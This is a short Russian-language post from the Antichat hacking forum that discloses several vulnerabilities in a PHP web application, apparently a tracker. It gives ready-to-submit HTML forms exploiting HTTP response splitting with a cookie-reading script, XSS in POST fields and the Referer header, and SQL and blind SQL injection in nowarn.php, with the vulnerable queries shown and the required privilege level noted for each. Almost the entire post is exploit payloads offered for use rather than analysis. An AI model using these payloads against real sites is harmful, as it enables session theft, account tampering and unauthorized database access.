Форум АНТИЧАТ - Показать сообщение отдельно

HTTP Splitting (простого пользователя достаточно):

Код:

<form action="http://site/message.php?action=takemessage" method="POST">
<input type="text" name="receiver" value="1">
<input type="text" name="origmsg" value="1">
<input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
<input type="text" name="msg" value="msg">
<input type="text" name="subject" value="subject">
<input type="submit">
</form>

XSS в POST запросе (требуются права модератора):

Код:

<form action="http://site/message.php?action=mass_pm" method="POST">
<input type="text" name="n_pms" value="&lt;script&gt;alert(/XSS1/)&lt;/script&gt;">
<input type="text" name="pmees" value="&lt;script&gt;alert(/XSS2/)&lt;/script&gt;">
<input type="submit">
</form>

Там же, XSS в Referer(требуются права модератора)

Код:

Referer: ><script>alert(/Hi/)</script>

SQL Inj(требуются права модератора)

Код:

<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="SQL">
<input type="submit">
</form>

Запрос: SELECT modcomment FROM users WHERE id IN (SQL)

Blind SQL Inj(требуются права модератора)

Код:

<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="1">
<input type="text" name="desact[]" value="SQL">
<input type="submit">
</form>

Запрос: UPDATE users SET enabled='no' WHERE id IN (SQL)